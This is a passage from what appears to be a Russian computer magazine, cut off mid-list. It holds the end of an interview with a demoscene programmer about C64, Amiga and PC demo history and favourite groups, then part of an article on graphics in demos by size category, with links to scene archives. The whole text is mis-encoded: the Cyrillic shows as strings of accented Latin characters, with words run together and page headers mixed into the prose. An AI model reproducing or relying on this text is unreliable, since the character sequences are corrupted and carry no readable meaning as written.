ïî÷òè âñå ñ íåãîíà÷èíàëè, è ìíå êàæåòñÿ, ýòî íåïëîõî. Ìîæåòáûòü, îí íå äàåò êàêîãî-òî àêàäåìè÷åñêîãî ñòèëÿ,íî çàòî ðàçâèâàåò ãèáêîñòü ìûøëåíèÿ, è ìîæíîñðàçó âèäåòü ðåçóëüòàò. Çàòåì Àññåìáëåð6510/6502 íà òîì æå C64. Ïîñëå ïåðåõîäà íà PC —Àññåìáëåð x86 è Pascal. Íåìíîãî — Forth.Ìàëåíüêèå èíòðî ïèñàëèñü ñðàçó íà Àññåìáëåðå,à ÷òî êàñàåòñÿ æóðíàëîâ, — òî ýòî áûë Ïàñêàëüñ àññåìáëåðíûìè âñòàâêàìè.Q: Òàê ÿ æå îáîæàþ Ïàñêàëü! Asm è InLine âå÷íîïðåáóäóò â íàøåé ïàìÿòè. Íàñ÷åò æóðíàëîâ:òû èìååøü â âèäó èíòåðôåéñ?A: Íå òîëüêî. ß, âîñïèòàííûé â òðàäèöèÿõ C64, ïûòàëñÿñëåäîâàòü ïðèìåðó ñòàðøèõ òîâàðèùåé. Äåëîâ òîì, ÷òî ýëåêòðîííûå æóðíàëû (diskmags) íàC64 ñîäåðæàëè äàëåêî íå òîëüêî òåêñòû. Îáÿçàòåëüíîåèíòðî â íà÷àëå, êðàñèâîå ìåíþ, ïîÿâëåíèåòåêñòà ñ ðàçíûìè ýôôåêòàìè, ìóçûêà — âñåýòî òðåáîâàëî íå ìåíüøåãî (à òî÷íåå — áîëüøåãî)âðåìåíè, ÷åì ïîäáîð ìàòåðèàëîâ.Q: È êòî ïîñëå ýòîãî ñêàæåò, ÷òî Ïàñêàëü — äëÿñòóäåíòîâ?! Íó ÷òî æå, íàâåðíîå, õâàòèò îëäñêóëà,ïåðåéäåì â áîëåå ïîçäíèå âðåìåíà. Òû ìîæåøüîòìåòèòü îñíîâíûå âåõè â èñòîðèè äåìîìåéêèíãà?Èëè æå ýòî ïðîöåññ íåïðåðûâíûé, õîòüè ñâÿçàííûé ñ ïðîãðåññîì êîìïîâ?A: ×åòêèå âåõè áûëè. Ïî áîëüøåé ÷àñòè îíè ñâÿçàíûñî ñìåíîé ïëàòôîðì. Îñíîâíàÿ âåòâü âûãëÿäèòòàê: Commodore 64! Commodore Amiga! IBM PC.Êîíå÷íî, ýòî íå îçíà÷àåò, ÷òî íà äðóãèõïëàòôîðìàõ íå áûëî äåìîñöåíû (ñêàæåì, â Ðîññèèâîîáùå áîëüøàÿ ÷àñòü âñåãî, ñâÿçàííîãî ñ äåìî,áûëà íàïèñàíà äëÿ ZX Spectrum). Íî âñå-òàêèîñíîâíàÿ ìèðîâàÿ êóëüòóðà è òðàäèöèè äåìîñöåíûñôîðìèðîâàëèñü íà ýòèõ òðåõ ïëàòôîðìàõ.Íà÷àëîñü âñå íà C64. Íî èç-çà àïïàðàòíûõîãðàíè÷åíèé äåìî â ñîâðåìåííîì âèäå (òî åñòüíå÷òî ñ íåïðåðûâíûì äåéñòâèåì, ñèíõðîíèçàöèåéñ ìóçûêîé, òðåõìåðíûìè ñöåíàìè) ïðîñòî íå ìîãëèâîçíèêíóòü.Ñ ïîÿâëåíèåì Commodore Amiga ìíîãîå èçýòîãî ñòàëî âîçìîæíûì (îñíîâíîé øàã — trackmo— äåìî â âèäå äèíàìè÷íîãî êëèïà, êîòîðûéñìîòðèòñÿ «íà îäíîì äûõàíèè»).PC ïðèíåñ íà äåìîñöåíó àïïàðàòíóþ íåñîâìåñòèìîñòü(âñå ìàøèíû ÷åì-òî îòëè÷àþòñÿ),ìîùíûé ïðîöåññîð, ìíîãî ïàìÿòè. À òàêæå (è ýòîîêàçàëî ñèëüíîå âëèÿíèå) — îáùåäîñòóïíûé èíòåðíåò,òî åñòü âîçìîæíîñòü ëåãêî îáìåíèâàòüñÿîïûòîì è èñõîäíèêàìè. ß áû äàæå ñêàçàë — òèðàæèðîâàòüèõ.Q: À ñåé÷àñ-òî àìèæíèêè æèâû? Íàâåðíîå, æèâûè ïðîöâåòàþò? Ó ìåíÿ åñòü çíàêîìûéñïåêòðóìèñò, îí òàê è ñèäèò íà ñâîåì ñïåêå,ïèøåò ïèñüìà â èíåò ÷åðåç ôèäîøíûé ãåéò.A: Æèâû, íî ÿ áû íå ñêàçàë ÷òî ïðîöâåòàþò.  Ðîññèèíè Amiga, íè Commodore 64 íå ïðèæèëèñü. C64áûëî ïðîñòî î÷åíü ìàëî, à ñ Àìèãàìè ïîëó÷èëîñüäîâîëüíî ñòðàííî — íàðîäó ïîðÿäî÷íî, íî òåõ, êòîìîæåò ÷òî-òî ñîçäàâàòü — åäèíèöû.Âîò ñî Ñïåêòðóìîì â Ðîññèè ñîâñåì èíàÿ ñèòóàöèÿ— ðåãóëÿðíî ïîÿâëÿþòñÿ äåìêè.À íà Çàïàäå äî ñèõ ïîð ïèøóò êàê äëÿ Commodore64, òàê è äëÿ Amiga. Êîíå÷íî ýòî óæå ôàíàòñòâî,íî, òåì íå ìåíåå, ðàáîòû ðåãóëÿðíî ïîÿâëÿþòñÿ.Ñïåêòðóì òàì, ñ òî÷êè çðåíèÿ äåìîñöåíû,êàê-òî íå îñîáî ïðèæèëñÿ. Íà åãî ìåñòå áûë C64.Q: Ñîãëàñåí àáñîëþòíî: ïî êîëè÷åñòâó êëîíîâÑïåêêè ìû âïåðåäè ïëàíåòû. À ÷òî æå ñ ÐÑ? Êàêîéïåðèîä â äåìîìåéêèíãå áûë ñàìûì ïëîäîòâîðíûì?×òî-òî ãîâîðÿò ïðî «Çîëîòîé âåê», êîòîðûéçàêîí÷èëñÿ, à òåïåðü — ÷óòü ëè íå çàêàò ñöåíû...A: Äóìàþ, ÷òî èíòåðåñíûì áûë ïåðèîä ïåðâûõAssembly — 1992, 1993 ãîäà. Êàê ñ òî÷êè çðåíèÿPC, òàê è ñ òî÷êè çðåíèÿ Amiga.Òîãäà ýòè äâå ïëàòôîðìû äåéñòâèòåëüíî ñîðåâíîâàëèñüìåæäó ñîáîé.State of the Art íà Amiga, Second Reality íàPC — ìíîãèì çíàêîìû ýòè íàçâàíèÿ.Ïîòîì áûë äîâîëüíî ñåðüåçíûé ïðîâàë, ÿ áûäàæå ñêàçàë — ðàçî÷àðîâàíèå. Ìíîãèå ïðîñòîøòàìïîâàëè äåìêè íà îñíîâå ÷óæèõ èñõîäíèêîâ èêîïèðîâàëè óâèäåííûå ðàíåå ýôôåêòû è èäåè. Íîâîò ïîñëåäíèå ãîäû íàáëþäàåòñÿ íîâûé ïîäúåì.Øèðîêî ðàñïðîñòðàíèëèñü ìîùíûå âèäåîêàðòû, èintro/demo ñòàëè íàïîìèíàòü ïîëíîöåííûå âèäåîêëèïû,à ïîðîé äàæå ôèëüìû.Q: Ïîñëåäíèå ãîäû — ýòî 05-06? Òî åñòü òûñ÷èòàåøü, ÷òî ñîâðåìåííûå äåìû — ýòî ñêîðååçàñëóãà íîâûõ òåõíîëîãèé? Èëè âñå-òàêèêðåàòèâíûå èäåè òîæå èìåþò ìåñòî?A: ß ñêàçàë, ÷òî òåõíîëîãèè ïîìîãëè ñäåëàòü ýòîòñêà÷îê. Íî, ðàçóìååòñÿ, ñâåæèå èäåè òîæå ïðèñóòñòâóþò.Ïðîñòî òåïåðü îíè ëåæàò â äðóãîé ïëîñêîñòè.Ðàíüøå èäåè âåðòåëèñü âîêðóã òîãî, êàê, íåèìåÿ íè ìîùíîñòåé, íè õîðîøåé ãðàôèêè, çàèíòåðåñîâàòüçðèòåëÿ. È â ðàñ÷åò áðàëè çðèòåëÿ, êîòîðûéïîíèìàåò, êàê óñòðîåí êîìïüþòåð (íàïðèìåð,èìåëè ñìûñë íàäïèñè òèïà «ôèãóðà èç 12334457ïèêñåëîâ»). Ñåé÷àñ ýòî èçìåíèëîñü. Òåïåðü ðàññ÷èòûâàþòïðîñòî íà èíòåðåñóþùèõñÿ. È ñëàáî îãðàíè÷åíûâ ñðåäñòâàõ îòîáðàæåíèÿ. Äåìêè ñòàëèáëèæå ê âèäåîêëèïàì è àíèìàöèîííûì ðîëèêàì, íî,êîíå÷íî, âñå ðàâíî îíè îò íèõ âåñüìà äàëåêè (ñíîâàïî òåì æå ïðè÷èíàì — àïïàðàòíûå îãðàíè÷åíèÿ).Ëè÷íî ÿ ñ÷èòàþ ïðèìåðàìè ðàáîò ýòîãî íîâîãîïîêîëåíèÿ — The Popular Demo, Paradise.Q: À èç äåìîìåéêåðîâ/êîìàíä êîãî áû òû â íàøåâðåìÿ âûäåëèë?A: RGBA, Farbrausch, Kewlers, Conspiracy, ASD,Plastic, MFX.Q: Îáùàëñÿ ñ íèìè? Ðàññêàæè êðàòåíüêî î êîìíèáóäü:÷òî çà ëþäè, êàêîå îáðàçîâàíèåïîëó÷èëè, êàê äîøëè äî òàêîé æèçíè è ÷åì, êðîìåäåìîìåéêèíãà, æèâóò.A: Èç îòå÷åñòâåííûõ îáùàëñÿ ñ Crolyx, Fox.Q: Êðîëèêñ — ýòî æå íàçâàíèå êîìàíäû?A: Äà, êîìàíäà. Çíàêîì ÿ ñ íèìè íå òàê òåñíî —íå çíàþ äåòàëåé. Âïðî÷åì, çíàþ, ÷òî Êðîëèêñû èçÑàìàðû, à Fox (ýòî íå ãðóïïà, à ÷åëîâåê) — èç Êðàñíîÿðñêà.Êðîìå äåìîìåéêèíãà ìíîãèå ñâÿçàíûñ ðàçðàáîòêîé èãð, ïîñêîëüêó ýòî ñìåæíîå çàíÿòèå.Q: Ëèíêñ èç Êðîëèêñà, ïî-ìîåìó, èç áðàòñêîéÁåëîðóññèè. Äîâåëîñü ñ íèì ïîîáùàòüñÿ —âåñåëûé ïàðåíü.A: Íó âîò, òåì áîëåå — òû ëó÷øå ìåíÿ çíàåøü :).Òàê èëè èíà÷å, Êðîëèêñû óñòîé÷èâî äåðæàò ïåðâåíñòâîíà îòå÷åñòâåííîé äåìîñöåíå.Q: Î'êåé, íå áóäåì î ëþäÿõ, áóäåì î êîäèíãå.Ìû — ïðàêòè÷åñêè-îðèåíòèðîâàííûé æóðíàë,è íàøèì ÷èòàòåëÿì áóäåò êðàéíå èíòåðåñíîçíàòü, ÷åìó íàäî ó÷èòüñÿ, ÷òîáû ñòàòü êðóòûìäåìî-êîäåðîì: êàêèå êíèæêè ÷èòàòü, íà êàêèåñàéòû õîäèòü è ñ êåì äðóæèòü.A: Êðóòûìè îáû÷íî ñòàíîâÿòñÿ òå, êòî îá ýòîì íåäóìàåò. Ïîòîìó ÷òî âñå ìûñëè î êîäèíãå, à î êðóòîñòèäóìàòü íå óñïåâàþò.Ëó÷øå âñåãî, ÿ äóìàþ, ó÷èòüñÿ íà ïðèìåðàõ.Ñìîòðåòü, êàê ÷òî-òî ñäåëàíî, ðàçáèðàòüñÿ, êîïàòüñÿâ èñõîäíèêàõ èëè êîäå. ×èòàòü ðàçíîîáðàçíóþäîêóìåíòàöèþ, íàïðèìåð, ïî DirectX. Ñåé÷àñðåãóëÿðíî ïîÿâëÿþòñÿ ñòàòüè ñàìèõ äåìîìåéêåðîâ.Íà ìîé âçãëÿä, ñàìàÿ áîëüøàÿ îïàñíîñòü —êîïèðîâàíèå ÷óæèõ èäåé.Q: Åñòü êàêàÿ-òî êíèãà èëè ðåñóðñ, êîòîðûéïðîèçâåë íà òåáÿ áîëüøîå âïå÷àòëåíèå?A: Ñàìûå èíòåðåñíûå ñòàòüè è êóñêè êîäà ÿ âñòðå-÷àë íà ñàéòàõ, ãäå êðîìå íèõ áîëüøå íè÷åãî íå áûëî:). Ìîÿ ðåêîìåíäàöèÿ — Google è âïåðåä.Åñòü ñàéòû, êîòîðûå â ëþáîì ñëó÷àå ñòîèòïîñåùàòü: http://www.ojuice.net/ , http://www.pouet.net ,http://www.scene.org, http://www.demoscene.ru , http://noscene.org.ru.À äàëüøå óæå ïî ññûëêàì îòòóäà.Q: Íàïîñëåäîê — ëè÷íûé âîïðîñ. Êàê òâîåñåìåéñòâî îòíîñèòñÿ ê êîäèíãó è äåìîìåéêèíãó?Ïîäðóãà/æåíà íå ðåâíóåò òåáÿ ê ýòîìó äåëó?A: Ïðåæíÿÿ ïîäðóãà íåñêîëüêî íàïðÿãàëàñü íàêîìïüþòåðû âîîáùå. Áåç äåëåíèÿ íà äåìîñöåíó èâñå îñòàëüíîå. Ñîáñòâåííî, ïîíÿòíî ïî÷åìó. äàííûé æå ìîìåíò òàðàêàíû íå èìåþò íè÷åãîïðîòèâ äåìîñöåíû.Q: Âîò ýòî ìóæñêîé îòâåò. Ñïàñèáî çà èíòåðâüþ,áûëî ïðèÿòíî ïîîáùàòüñÿ.A: Ñïàñèáî!


-Blockbuster magazine 30 #012007


88 ÑÏÅÖ-TOPIC ÑÏÅÖ 02-07ãðàôèêàâ äåìîÃÐÀÔÈÊÀ  ÄÅÌÀÕ… ÃÐÀÔÈÊÀ  ÄÅÌÀÕ... ÌÌÌÌ..×ÒÎ-ÒÎ ÍÅ ÒÎ.. ÂÅÄÜ ÄÅÌÛ — ÝÒÎ È ÅÑÒÜ«ÃÐÀÔÈÊÀ»?! ÈËÈ ÍÅÒ? ÌÎÆÍÎ ÆÅ ÑÊÀÇÀÒÜ, ×ÒÎÑÎ×ÅÒÀÍÈÅ ÌÓÇÛÊÈ È ÃÐÀÔÈÊÈ — ÄÅÌÀ? ÌÎÆÍÎ.ÄÀÆÅ ÏÐÎÑÒÎ «ÃÐÀÔÈÊÀ» ÁÅÇ ÌÓÇÛÊÈ ÌÎÆÅÒ ÁÛÒÜÄÅÌÎÉ. Ó ÌÅÍß, ÍÀÏÐÈÌÅÐ, ÍÈÊÎÃÄÀ ÍÅ ÁÛËÎ GUS`A(ÝÒÎ ÒÀÊÀß ÑÖÅÍÅÐÑÊÀß ÇÂÓÊÎÂÀß ÊÀÐÒÀ), ÍÎ ÑÀÌÈÄÅÌÛ ÍÅÏËÎÕÎ ÇÀÏÓÑÊÀËÈÑÜ È ÑÌÎÒÐÅËÈÑÜ È ÁÅÇÌÓÇÛÊÈ. ÊÑÒÀÒÈ, ÍÎÌÈÍÀÖÈß 512B INTRO (Î ÍÅÉ ÌÛÏÎÃÎÂÎÐÈÌ ÍÈÆÅ) ÍÅ ×ÀÑÒÎ ÁÀËÓÅÒ ÇÐÈÒÅËßÌÓÇÛÊÀËÜÍÛÌ ÑÎÏÐÎÂÎÆÄÅÍÈÅÌ. ÍÎ ×ÒÎ ÆÅÒÎÃÄÀ ÏÎËÓ×ÀÅÒÑß — ËÞÁÀß ÃÐÀÔÈÊÀ ÅÑÒÜ ÄÅÌÎ?ÍÀÄÎ ÐÀÇÎÁÐÀÒÜÑß!LynxGLITCHby KewlersX-MIX 2004by MFX KewlersTYPOGRAPHICSby KewlersÍà ñàìîì äåëå, â äåòàëÿõ ðàññêàçûâàòü èñòîðèþ âîçíèêíîâåíèÿäåìîñöåíû â ýòîé ñòàòüå ÿ íå áóäó, ïîñêîëüêóâ èíòåðíåòå è òàê ñëèøêîì ìíîãî ìàòåðèàëàíà ýòó òåìó. Îñîáî èíòåðåñóþùèìñÿ ëþäÿì, âëàäåþùèìàíãëèéñêèì ÿçûêîì è îòÿãîùåííûì ëèøíèìè35 åâðî, ÿ ìîãó ïîñîâåòîâàòü çàêàçàòü ñåáå êíèæêóïî èñòîðèè äåìîñöåíû è àëüáîì ðèñîâàííîé äåìîñöåíåðñêîéãðàôèêè Freax (http://freax.hu). Îòìå÷óëèøü, ÷òî òåíäåíöèÿ ðàçâèòèÿ çäåñü ñòàíäàðòíà äëÿâñåãî êîìïüþòåðíîãî èñêóññòâà — îò ïðîñòîãîê ñëîæíîìó. Âñå ëîãè÷íî: ðàñòóò âîçìîæíîñòè êîìïüþòåðíîãîæåëåçà — ðàçâèâàåòñÿ êðåàòèâíàÿ ìûñëüäåìîñöåíåðà. ×òî áûëî â íà÷àëå? À â íà÷àëå áûëècracktro ïîä C64. Ïðåäñòàâëÿëè îíè ñîáîé ìàëåíüêèåïðîãðàììóëüêè â âèäå îäíîé ïèêñåëüíîé (à êàêîé æååùå?) êàðòèíêè, îäíîé (èëè íåñêîëüêèõ) ìåëîäèé èêó÷è òåêñòà â âèäå âñåâîçìîæíûõ «áåãóùèõ ñòðîê».Ñîáñòâåííî, âñå òâîð÷åñòâî crack-ñöåíû íà÷èíàëîñüñ òîãî, ÷òîáû êàê ìîæíî íåîáû÷íåé è ýôôåêòíåéïðåäñòàâèòü óâàæàåìîé ïóáëèêå ñâîþ ëîìàëêó äëÿñîôòà. Ñî âðåìåíåì òâîð÷åñêàÿ ÷àñòü îòìåæåâàëàñü,ïåðåîïðåäåëèëàñü, è ñôîðìèðîâàëîñü íåêîåïîäîáèå äåìîñöåíû. Íàðîä ñòàë óâëå÷åííî ñîïåðíè-÷àòü äðóã ñ äðóãîì â ìàñòåðñòâå âûæèìàíèÿ ñîêîâ èçôèêñèðîâàííûõ êîíôèãóðàöèé êîìïîâ, â èñïîëüçîâàíèèíîâûõ êîíöåïòîâ â äèçàéíå è òîìó ïîäîáíûõíîìèíàöèÿõ. Õóäîæåñòâåííàÿ è ìóçûêàëüíàÿ ñöåíûîñîáî íå âûäåëÿëèñü è áûëè ÷àñòüþ îäíîé ÄåìîÑöåíû.Ëþäè ñáèâàëèñü â êîìàíäû è áîðîëèñü çà ïðàâîíàçûâàòüñÿ ñàìûìè ïîïóëÿðíûìè è ñàìûìè ëó÷øèìè.Áûëî âåñåëî. Ñìîòðèøü äåìêó — à òàì ïüÿíåíüêèéíîñàòûé ìóæè÷îê áåãóùåé ñòðîêîé ñàìûìè ïîñëåäíèìèñëîâàìè êðîåò íåêóþ êîìàíäó Õ. À ÷åðåçíåäåëüêó âîçüìåøü ó êîãî-íèáóäü äèñêåòêó ñî ñâåæèìèäåìàìè, à òàì óæå, ñîîòâåòñòâåííî, êîìàíäàÕ êðîåò áåãóùåé ñòðîêîé àâòîðîâ òîãî ìóæè÷êà.Çàíèìàòåëüíûé êðåàòèâ!  îáùåì, ãðàôèêà â äåìàõ— âåùü íåîáõîäèìàÿ, íî íå îïðåäåëÿþùàÿ äåìóêàê òàêîâóþ. Äîëæíà áûòü èäåÿ è òâîð÷åñêàÿ íàïðàâëåííîñòü…ñ ÷åãî íà÷èíàåòñÿ ÄÅÌÎ. Âî-ïåðâûõ, ïîä äåìîéâ ëþáîì ñëó÷àå ïîäðàçóìåâàþò àíèìàöèþ (ñîãëàñèñü,îáû÷íóþ êàðòèíêó íèêòî äåìîé íå íàçîâåò).À âîò åñëè ýòó êàðòèíêó â ðåæèìå ðåàëüíîãî âðåìåíèìîðôèòü, áëóðèòü è âñÿ÷åñêè êîëáàñèòü, òî ýòîóæå äåìî… Êîíå÷íî, ïî ñåãîäíÿøíèì ìåðêàì î÷åíüïðîñòîå, íî âñå æå äåìî. À åñëè óæ âñå äåéñòâèåïðîèñõîäèò ïîä ìóçûêó — ðåñïåêò! Íà exUSSR äåìîïàòèâîéäåò â ïåðâóþ 10-êó. Ýòî — òàê íàçûâàåìûå2D-ýôôåêòû. Ñ íèõ âñå íà÷èíàëîñü, îíè — íîñèòåëèàòìîñôåðû äåìîê 90-õ, è èìåííî ïî íèì ÿïîðîé ñêó÷àþ â ïðîöåññå ïðîñìîòðà ñîâðåìåííûõòâîðåíèé, õîòÿ ñåé÷àñ îíè ïðîèçâîäÿò ãîðàçäî


89ìåíüøå ýôôåêòà, âåäü ó âñåõ åñòü èíåò, â êîòîðîìëåæèò êó÷à ðèñîâàííûõ êàðòèíîê, à ó ìíîãèõ èìåþòñÿâ íàëè÷èè è ãðàôè÷åñêèå ïëàíøåòêè… Ïèêñåëüíàÿãðàôèêà íå àêòóàëüíà. Íàëè÷èå íà ýêðàíå êðàñèâîéðèñîâàííîé ìûøêîé êàðòèíêè íå âûçûâàåòòîãî âîñòîðãà, êàêîé áûë â òå âðåìåíà, êîãäà ïîäîáíûåêàðòèíêè êîëëåêöèîíèðîâàëè è çíàëè âñåõêîìïüþòåðíûõ õóäîæíèêîâ ïî íèêàì. Íå ñêàæó, ÷òîýòî ïëîõî, âåäü ýòî ïðîãðåññ, íî âñå-òàêè ãðóñòíî…Ñ ïîÿâëåíèåì àêñåëåðàòîðîâ è ïèêñåëüíûõøåéäåðîâ äåìû ñòàëè áîëüøå íàïîìèíàòü òåõíîëîãè÷åñêèåòåñòû, à íå äóøåâíóþ íàðîäíóþ æèâîïèñü.Ïîâòîðþñü, äåìîñöåíà — ýòî íàðîäíîå òâîð÷åñòâî.Ïîíèìàåøü? Çäåñü íåò ïðàâèë, ðåãëàìåíòîâ, çàêîíîâèëè òàáó (êðîìå ïîëèòèêè), åñòü òîëüêî òðàäèöèè.Îäíîé èç òðàäèöèé, êñòàòè, ÿâëÿåòñÿ ñòðåìëåíèåïîëîìàòü âñå òðàäèöèè è ñäåëàòü ÷òî-íèáóäü èçðÿäà âîí âûõîäÿùåå. Ýòî îäíà èç ïðè÷èí, ïî÷åìóäåìîñöåíà çàòÿãèâàåò è äîëãî íå îòïóñêàåò, çàñòàâëÿÿíîñòàëüãèðîâàòü ïî «áûëûì âðåìåíàì».Ñëèøêîì àáñòðàêòíî? Ëàäíî, ïðèìåð. Ñìîòðèìäåìû, òèïè÷íûå äëÿ ñâîåãî âðåìåíè: FutureConfused by Procreation, Spleen by Marshals, Chromeby Damage.Êðàñèâîå ñî÷åòàíèå ðèñîâàííîé 2D-ãðàôèêè,ðåíäåðèíãà ïðîñòåíüêèõ 3D-ìîäåëåé, ñöåí ïðîëåòàíàä ìåñòíîñòüþ (fly by), ïðèòÿíóòàÿ çà óøè îáùàÿòåìà èëè ïîëíîå îòñóòñòâèå òàêîâîé. Íî â öåëîì— êðàñèâî, ïðèÿòíî, è õî÷åòñÿ ïîñìîòðåòü åùåðàç. À òåïåðü ñìîòðèì ýòî:1 Glitch by Kewlers (ftp://ftp.scene.org/pub/parties/2003/stream03/demo/kwl_itch.zip);2 X-Mix 2004 by MFX Kewlers (http://www.pouet.net/prod.php?which=12028);3Typo Graphics by Kewlers (ftp://ftp.scene.org/pub/parties/2004/scene_event04/demo/typo_graphics_by_kewlers.zip).Êîíòðàñòíî, íå ïðàâäà ëè? Äèíàìèêà, èííîâàöèÿ,ñìåëîñòü ðåøåíèÿ! Íó êàê ïîñëå ýòîãî ìîæíîãîâîðèòü î ãðàôèêå è äèçàéíå íà äåìîñöåíåîáîáùåííî?! Ñêîëüêî êîìàíä, ñòîëüêî è âîçìîæíûõïîäõîäîâ. Ñóùåñòâóþò, êîíå÷íî, êàêèå-òî íàèáîëåå÷àñòî èñïîëüçóåìûå ïðèåìû è ýôôåêòû, íîèõ êîìáèíàöèè â óìåëûõ ðóêàõ ðîæäàåò íåïîâòîðèìûåøåäåâðû.


90 ÑÏÅÖ-TOPIC ÑÏÅÖ 02-07Òåì íå ìåíåå, ïîñòàðàþñü õîòü êàê-òî ñòðóêòóðèðîâàòüâàðèàíòû ãðàôèêè â äåìàõ (ÿ èìåþ ââèäó òîëüêî PC). Íå óâåðåí, ÷òî ïîëó÷èòñÿ, íî ïîïðîáîâàòüñòîèò. Èòàê…— 256 ÁÀÉÒ. ÎÖÅÍÈÂÀÅÒÑß ÒÎËÜÊÎÓÌÅÍÈÅ ÊÎÄÅÐÀ ÂÏÈÕÍÓÒÜ Â ÒÀÊÎÉÐÀÇÌÅÐ ×ÒÎ-ËÈÁÎ. ÂÎÇÌÎÆÍÛÄÂÀ ÂÀÐÈÀÍÒÀ:1 ÌÍÎÃÎ ÌÀËÅÍÜÊÈÕ, ÏÐÎÑÒÅÍÜÊÈÕÈ ÎÄÍÎÒÈÏÍÛÕ ÝÔÔÅÊÒÎÂ;2 ÎÄÈÍ, ÍÎ ÑËÎÆÍÛÉ. ÌÎÆÅÒ ÁÛÒÜÏÑÅÂÄÎ-3D.— 512 ÁÀÉÒ ÄÅÌÎ. ÎÖÅÍÈÂÀÅÒÑßÒÎ ÆÅ ÑÀÌÎÅ. ÂÀÐÈÀÍÒÛ,  ÏÐÈÍÖÈÏÅ,ÒÅ ÆÅ, ÍÎ Â ÒÀÊÎÅ ÏÐÎÑÒÐÀÍÑÒÂÎÄÎÁÀÂËßÅÒÑß ÂÎÇÌÎÆÍÎÑÒÜÂÏÈÕÍÓÒÜ 3D-ÑÖÅÍÊÓ. À 3D-ÄÂÈÆÎÊÑ Z-ÁÓÔÔÅÐÎÌ Â 512 ÁÀÉÒ — ÝÒÎ,ÇÍÀÅÒÅ ËÈ, ÂÏÅ×ÀÒËßÅÒ ÑÀÌÎ ÏÎ ÑÅÁÅ,ÍÅÂÇÈÐÀß ÍÀ ÎÒÂÐÀÒÍÓÞ ÊÀÐÒÈÍÊÓ.— 4 ÊÁ ÄÅÌÎ. ÒÓÒ ÏÎÑÂÎÁÎÄÍÅÅ.3D-ÄÂÈÆÎÊ, ÈÍÒÅÐÅÑÍÛÅ ÒÅÊÑÒÓÐÛ,ÌÓÇÛÊÀ, ÏÎßÂËßÅÒÑß ÌÅÑÒÎ ÄËßÄÈÇÀÉÍÅÐÀ, ÍÎ ÊÎÄÅÐ ÏÎ-ÏÐÅÆÍÅÌÓÎÑÒÀÅÒÑß ÖÅÍÒÐÀËÜÍÎÉ ÔÈÃÓÐÎÉ.ÎÑÍÎÂÛÂÀÞÒÑß ÒÀÊÈÅ ÄÅÌÛ ÍÀÐÅÀËÈÇÎÂÀÍÛÕ Â ÄÂÈÆÊÅ ÝÔÔÅÊÒÀÕ.ÏÐÀÂÄÀ,  4 ÊÁ ÎÑÎÁÎ ÍÅ ÐÀÇÃÓËßÅØÜÑß,È ×ÀÑÒÎ ÝÒÈ ÄÅÌÛ ÏÐÅÄÑÒÀÂËßÞÒÑÎÁÎÉ 2–3 ÑÖÅÍÊÈ ÍÀ OPENGL-ÄÂÈÆÊÅÑ ÏÐÎÑÒÛÌÈ ÒÅÊÑÒÓÐÀÌÈ È ÎÁÚÅÊÒÀÌÈÈÇ ÏÐÈÌÈÒÈÂΠ(ØÀÐÈÊÈ, ÊÓÁÈÊÈ,ÁÓÁËÈÊÈ). ÍÎ ÒÅÕÍÈ×ÅÑÊÀß ÌÛÑËÜÍÅ ÑÒÎÈÒ ÍÀ ÌÅÑÒÅ, È ÑÅÉ×ÀÑ ÌÎÆÍÎÓÂÈÄÅÒÜ ÌÎÙÍÛÅ ÂÅÙÈ ÒÈÏÀ SQUISH4K.— 64 ÊÁ ÄÅÌÎ. ÂÎÎÎÎÎ! ÄËß ÌÍÎÃÈÕÓÂËÅ×ÅÍÍÛÕ ÄÅÌÎÑÖÅÍÎÉ ËÞÄÅÉ ÝÒÎ×ÈÑËÎ ßÂËßÅÒÑß ÑÀÌÛÌ ÈÍÒÅÐÅÑÍÛÌ.ÏÎ×ÅÌÓ? ÄÀ ÏÎÒÎÌÓ ×ÒÎ ß ÄÀÆÅ ÍÅÏÐÅÄÑÒÀÂËßÞ, ÊÀÊ ÌÎÆÍÎ ÂÏÈÕÍÓÒÜ 64 ÊÈËÎÁÀÉÒÀ ÊÂÀÐÒÅÒ ÈÇ ×ÅÒÛÐÅÕÎÁÅÇÜßÍÎÊ, ÈÃÐÀÞÙÈÕ ÍÀ ÐÀÇÍÛÕÐÅÀËÈÑÒÈ×ÍÎ ÇÂÓ×ÀÙÈÕ ÌÓÇÛÊÀËÜÍÛÕÈÍÑÒÐÓÌÅÍÒÀÕ, ÍÀ ÔÎÍÅ ÄÈÍÀÌÈ×ÍÎÈÇÌÅÍßÞÙÅÃÎÑß ÏÅÉÇÀÆÀ ÑÎ ÑÊÀËÀÌÈÈ ÄÆÓÍÃËßÌÈ! ÏÎËÅÒ ÔÀÍÒÀÇÈÈÄÈÇÀÉÍÅÐÀ ÑÈÌÂÎËÈ×ÅÑÊÈÎÃÐÀÍÈ×ÅÍ — ÍÅËÜÇß ÈÑÏÎËÜÇÎÂÀÒÜÐÈÑÎÂÀÍÍÓÞ 2D-ÃÐÀÔÈÊÓ (ÐÀÑÒÐÎÂÛÅÊÀÐÒÈÍÊÈ ÇÀÍÈÌÀÞÒ ÌÍÎÃÎ ÌÅÑÒÀ).ÄÈÇÀÉÍ È ÃÐÀÔÈÊÀ… ÄÀ, ÈÕ ÍÅËÜÇßÇÀÃÍÀÒÜ Â ÐÀÌÊÈ! ÏÎÝÒÎÌÓ ÄÅÌÛÄÀÆÅ ÍÀ ÎÄÍÎÌ ÄÅÌÎÒÓËÇÅ(ÏÐÎÃÐÀÌÌÍÎÅ ÎÁÅÑÏÅ×ÅÍÈÅ,ÑÎÇÄÀÍÍÎÅ ÄÅÌÎÑÖÅÍÅÐÀÌÈ ÄËßÄÅÌÎÑÖÅÍÅÐÎÂ, Ñ ÏÎÌÎÙÜÞÊÎÒÎÐÎÃÎ ÌÎÆÍÎ ÑÎÇÄÀÒÜ ÄÅÌÎ,ÂÏÈÑÛÂÀÞÙÅÅÑß Â 64 ÊÁ)ÏÎËÓ×ÀÞÒÑß ÀÁÑÎËÞÒÍÎÍÅÏÎÕÎÆÈÌÈ ÄÐÓà ÍÀ ÄÐÓÃÀ!ÒÀÊÎÃÎ ÏÎËÅÒÀ ÔÀÍÒÀÇÈÈ ÑÅÉ×ÀÑÍÅ ÂÑÒÐÅÒÈØÜ ÄÀÆÅ Â ÌÅÃÀÄÅÌÎ…Ïîñìîòðè íà ýòî ðàçíîîáðàçèå:1 From Dusk til Dawn by Fairlight (ftp://ftp.scene.org/pub/parties/2004/remedy04/demo/fairlight__from_dust_till_dawn.zip);2 Zoom3 by AND Cybermag (http://www.pouet.net/prod.php?which=10454);3 Candytron (FR30) by Farbrausch (http://www.pouet.net/prod.php?which=9424);4 Welcome to by Farbrausch (http://www.pouet.net/prod.php?which=8696);5 Binary Flow by 